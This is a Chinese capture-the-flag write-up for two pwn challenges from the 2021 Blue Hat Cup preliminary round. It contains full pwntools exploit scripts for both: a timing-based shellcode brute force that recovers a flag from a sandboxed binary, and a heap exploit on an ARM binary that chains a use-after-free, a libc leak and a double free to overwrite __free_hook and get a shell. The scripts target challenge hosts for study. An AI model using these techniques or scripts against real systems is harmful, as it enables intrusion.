蓝帽杯2021 初赛 Pwn Writeup

蓝帽杯2021 初赛 Pwn Writeup

记录一下蓝帽杯Pwn题的解题过程

另,为啥现在异构题这么多?????没得出了嘛????

slient

思路

题目和去年蓝帽杯2021决赛的题目一样,开启了沙箱,只能执行open和read,允许输入0x40 大小的数据,并在最后直接执行

不难看出是通过shellcode来爆破flag

爆破的方法是读取flag中的每个字节放入寄存器中,之后与可输出字符进行比较,如果一致就返回,不一致则继续循环

我这里直接用 LYYL大佬的exp一把梭,连flag路径都不用改 hhhh

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
# encoding=utf-8
from pwn import *

file_path = "./chall"
context.arch = "amd64"
# context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0

def pwn(p, index, ch):

read_next = "xor rax, rax; xor rdi, rdi;mov rsi, 0x10100;mov rdx, 0x300;syscall;"
# open
shellcode = "push 0x10032aaa; pop rdi; shr edi, 12; xor esi, esi; push 2; pop rax; syscall;"

# re open, rax => 4
shellcode += "push 2; pop rax; syscall;"

# read(rax, 0x10040, 0x50)
shellcode += "mov rdi, rax; xor eax, eax; push 0x50; pop rdx; push 0x10040aaa; pop rsi; shr esi, 12; syscall;"

# cmp and jz
if index == 0:
shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-3; ret".format(index, ch)
else:
shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-4; ret".format(index, ch)

shellcode = asm(shellcode)
p.sendafter("execution-box.\n", shellcode.ljust(0x40 - 14, b'a') + b'/home/pwn/flag')


index = 0
ans = []
while True:
for ch in range(0x20, 127):
if debug:
p = process([file_path])
else:
p = remote('8.140.177.7', 40334)
pwn(p, index, ch)
start = time.time()
try:
p.recv(timeout=2)
except:
pass
end = time.time()
sleep(0.5)
p.close()
if end - start > 1.5:
ans.append(ch)
print("".join([chr(i) for i in ans]))
break
else:
print("".join([chr(i) for i in ans]))
break
index = index + 1
print(ans)

print("".join([chr(i) for i in ans]))

vuln

思路

程序是一个32位的arm程序,程序中的player结构大致如下所示

1
2
3
4
5
6
7
8
9
10
11
struct player
{
uint name_chunk
uint size;
uint hp;
uint mp;
uint atk;
uint fq;
uint skill;
uint level;
}

这个程序大概的逻辑是建立不同职业的角色打小怪兽,如果最后打过了大龙就能有一个改名的机会

题目最对可以创建 16 个角色,每个角色会被记录在 player数组中,每创建一个角色会创建两个 chunk

其中一个为 0x20大小,用来存放 player struct

另一个大小由用户自定义, 用来存放角色名字

程序的漏洞位于 createdelete函数中:

create函数中如果选择表单以外的职业,那么程序只会创建一个 0x20的chunk

delete函数中会先释放 name_chunk再释放 player_chunk,且 name_chunk未清零,存在 UAF

根据这两点,我们可以先申请一个正常的职业,其 name_chunk大小设为 0x20,并在 name_chunk中构造一个 高攻击的fake_player_chunk出来,之后释放创建的 player_chunk

接着申请一个不在职业列表中的player_chunk, 这个chunk即为我们刚刚释放的 player_chunk,之后再申请一个 不在职业列表中的 player_chunk,此时申请到的就是我们构造的 fake_player_chunk

之后的思路按理来说应该比较简单了,先创建并释放堆块,填满Tcache,将部分堆块放入 fastbin中,接着申请一个大块,使fastbin中的堆块合并并进入 usbin中,此时再调用 show功能即可泄露 libc, 但由于本题是异构的,在调试的时候会遇到三个问题:

  • 显示缺少ld文件
  • 无法通过 vmmap获得 libcbase和codebase
  • 题目提供的 libc.so.6没有符号表,无法得知 main_arena的偏移

缺少ld文件

有三种解决方法:

  1. 在网上下载现成的 ldhttps://koji.fedoraproject.org/koji/buildinfo?buildID=1018699

    下载后是 rpm格式,可以利用 rpm2cpio ./<packetname> | cpio -idv来解压,之后直接使用即可

  2. 本题目的libc版本是 2.26,因此可以在 ubuntu 17.04下安装arm依赖环境

    apt search "libc6-" | grep "arm", 之后选择合适的版本安装即可,安装完毕后可以通过 find / -name libc.so.6来寻找安装的 .so

  3. 配置交叉编译环境,然后用交叉编译环境中的 ld,这个比较麻烦,我没有深入研究

无法获得libc和code基址

这个问题比较玄学,一般只有windows会出现,解决方案参照 http://blog.eonew.cn/archives/454

使用 export LD_LIBRARY_PATH=/root/pwn/bluehat/portable_rpg/lib/:$LD_LIBRARY_PATH设定库地址,效果还是比较明显的

指定路径前

1
2
3
4
5
6
7
8
9
10
11
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0xff7aa000 0xff7cb000 r-xp 21000 0 /root/pwn/bluehat/portable_rpg/lib/ld-linux-armhf.so.3
0xff7cb000 0xff7da000 ---p f000 20000 /root/pwn/bluehat/portable_rpg/lib/ld-linux-armhf.so.3
0xff7da000 0xff7db000 r--p 1000 20000 /root/pwn/bluehat/portable_rpg/lib/ld-linux-armhf.so.3
0xff7db000 0xff7dc000 rw-p 1000 21000 /root/pwn/bluehat/portable_rpg/lib/ld-linux-armhf.so.3
0xffbdc000 0xfffdf000 rwxp 403000 0 <explored>
0xfffdb000 0xfffdd000 rwxp 2000 0 [stack]
0xfffee000 0xffff0000 rwxp 2000 0 <explored>

[QEMU target detected - vmmap result might not be accurate; see `help vmmap`]

指定路径后,可以看到最上面出现了[linker],其起始地址 0xff7aa000即是 libc_base

最下面则显示出了程序的地址空间,code_base0xfffdd000

这样就可以利用 code_base下断点调试,并且通过 got表获得 libc_base

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0xff7aa000 0xff7cb000 r-xp 21000 0 [linker]
0xff7aa000 0xff7cb000 r-xp 21000 0 /root/pwn/bluehat/portable_rpg/lib/ld-linux-armhf.so.3
0xff7cb000 0xff7da000 ---p f000 20000 [linker]
0xff7cb000 0xff7da000 ---p f000 20000 /root/pwn/bluehat/portable_rpg/lib/ld-linux-armhf.so.3
0xff7da000 0xff7db000 r--p 1000 20000 [linker]
0xff7da000 0xff7db000 r--p 1000 20000 /root/pwn/bluehat/portable_rpg/lib/ld-linux-armhf.so.3
0xff7db000 0xff7dc000 rw-p 1000 21000 [linker]
0xff7db000 0xff7dc000 rw-p 1000 21000 /root/pwn/bluehat/portable_rpg/lib/ld-linux-armhf.so.3
0xfffdb000 0xfffdd000 rw-p 2000 0 [stack]
0xfffdd000 0xfffdf000 r-xp 2000 0 /root/pwn/bluehat/portable_rpg/vuln
0xfffdf000 0xfffee000 ---p f000 1000 /root/pwn/bluehat/portable_rpg/vuln
0xfffee000 0xfffef000 r--p 1000 1000 /root/pwn/bluehat/portable_rpg/vuln
0xfffef000 0xffff0000 rw-p 1000 2000 /root/pwn/bluehat/portable_rpg/vuln

[QEMU target detected - vmmap result might not be accurate; see `help vmmap`]

在没有符号表情况下查找 main_arena

这里完全引用自Ex大佬博客

最终算得 main_arena偏移为 0x13A7F4

  1. 通过malloc_trim函数定位

一种方法是先从ida找到malloc_trim函数,那么下面这个就是main_arena的偏移了

img

为什么呢,我们看看malloc_trim的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int
__malloc_trim (size_t s)
{
int result = 0;
if (__malloc_initialized < 0)
ptmalloc_init ();
mstate ar_ptr = &main_arena;
do
{
__libc_lock_lock (ar_ptr->mutex);
result |= mtrim (ar_ptr, s);
__libc_lock_unlock (ar_ptr->mutex);
ar_ptr = ar_ptr->next;
}
while (ar_ptr != &main_arena);
return result;
}
  1. 通过malloc_hook定位

在导出表里面搜索malloc_hook

img

跟过去,在他下面+0x10的就是main_arena

img

  1. 其他方法

其实方法很多,我们解引用一些这个地址,发现很多函数都会用到的,只要那个位置比较固定,我们就能找出来

img

之后我原本想通过击杀大龙之后的read函数进行 tcache投毒,劫持 free_hook get shell,但之后发现 v3是一个int类型,而 read只能写两字节,同时栈上还有残留数据,因此 v3永远也不可能为 y, 即这个read不可写

1
2
3
4
result = read(0, &v3, 2u);
if ( v3 == 'y' )
result = read(0, **((void ***)&players + idx), *(_DWORD *)(*((_DWORD *)&players + idx) + 4));
}

这条路走不通之后,我们考虑通过 double free的方式劫持 free_hook,由于 player_struct在创建时会在 data段的开始位置放置 name_chunk的地址,同时在释放 player_chunk时会先释放 name_chunk,再释放 player_chunk,同时 name_chunk的地址会残留在 player_chunk

因此我们可以先创建一个正常的 player_chunk并释放,之后创建两个不在 职业列表中的player_chunk,接着分别释放这两个chunk,此时 name_chunk就已经被 double free

但要注意一点,之前我们操作过的 player_chunk上都会有地址残留,可能会影响我们进行 double free,因此最好新申请几个块来操作

利用

总结一下利用过程

  • 通过创建列表之外的角色来修改属性,使得其可以被 show调用
  • 填满 tcache将部分堆块放入 fastbin中,之后申请大块, 使 fastbin中的堆块合并并放入 usbin中,泄露libc地址
  • 通过 double free劫持 free_hook地址为 system
  • get shell

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
#!/usr/bin/python
#coding=utf-8
#__author__:N1K0_

from pwn import *
import inspect
from sys import argv

def leak(var):
callers_local_vars = inspect.currentframe().f_back.f_locals.items()
temp = [var_name for var_name, var_val in callers_local_vars if var_val is var][0]
p.info(temp + ': {:#x}'.format(var))

s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
r = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
plt = lambda data :elf.plt[data]
got = lambda data :elf.got[data]
sym = lambda data :libc.sym[data]
inf = lambda data :success(data)
itr = lambda :p.interactive()

local_libc = '/lib/x86_64-linux-gnu/libc.so.6'
local_libc_32 = '/lib/i386-linux-gnu/libc.so.6'
remote_libc = './libc.so.6'
binary = './vuln'
context.binary = binary
elf = ELF(binary,checksec=False)

p = process(["qemu-arm", "-L", ".", "-g", "1234", "./vuln"])
if len(argv) > 1:
if argv[1]=='r':
p = remote('8.140.177.7',14242)
# libc = elf.libc
libc = ELF(remote_libc)

def dbg(cmd=''):
os.system('tmux set mouse on')
context.terminal = ['tmux','splitw','-h']
gdb.attach(p,cmd)
pause()

# start
# context.log_level = 'DEBUG'

"""
players 0x1200C

player struct{
uint chunk_p -> chunk_n -> name
uint name_size
uint hp
uint mp
uint atk
uint matk
uint job
uint lv
}
pie 0xfffdd000
libc 0xff66a000
player 0xfffef00c
"""
def add(job,name_size,name):
sa('>> ','1')
sa('3. priest',str(job))
sa('name size?',str(name_size))
sa('user name?',name)
def add2(job):
sa('>> ','1')
sa('3. priest',str(job))
ru('create success!')
def free(idx):
sa('>> ','2')
sa('index?',str(idx))
def show(idx):
sa('>> ','3')
sa('index?',str(idx),)
def play(idx,data):
sa('>> ','4')
sa('index?',str(idx))
for i in range(5):
sa('>> ','2')
sa('change it?[y/n]','y')
sleep(0.1)
sa(data)
def exit():
sa('>> ','5')

pie = 0xfffdd000
player = 0xfffef00c
inf("1 构造fake_player_chunk,使其能被show")
pl = 'a'*4 + p32(0x20) + p32(0x10000)*4 + p32(1) + p32(1)
add(1,0x20,pl) # 0
add(1,0x20,pl) # 1
free(0)
free(1)
add2(5) # 0
add2(5) # 1

inf("2 申请大块,合并fastbin中的chunk并放入usbin中,泄露libc")
add(1,0x20,pl) # 2
for i in range(4):
add(1,0x20,pl) # 3 ~ 6
for i in range(4):
free(3+i)
free(2)
add(1,0x300,pl)
show(1)

ru('name: ')
base = uu32(r(4)) - 0x13A7F4-0x7c
free_hook = base + sym('__free_hook')
system = base + sym('system')
leak(base)
leak(pie)
leak(player)
leak(free_hook)
leak(system)

inf("1 构造double free,劫持 free_hook")

for i in range(5):
add(1,0x20,'/bin/sh\x00') # 3 ~ 7
free(7)
add2(5) # 7
add2(5) # 8
free(7)
free(8)
add(1,0x20,p32(free_hook)) # 7
add2(5) # 8
add(1,0x20,p32(system)) # 9

inf("4 Trigger ")
free(3)
# end

itr()

总结

  • 学习了一种通过合并fastbin泄露 libc的方式
  • 学习了异构pwn调试的若干技巧
  • 学习了如何在没有符号表的情况下寻找变量偏移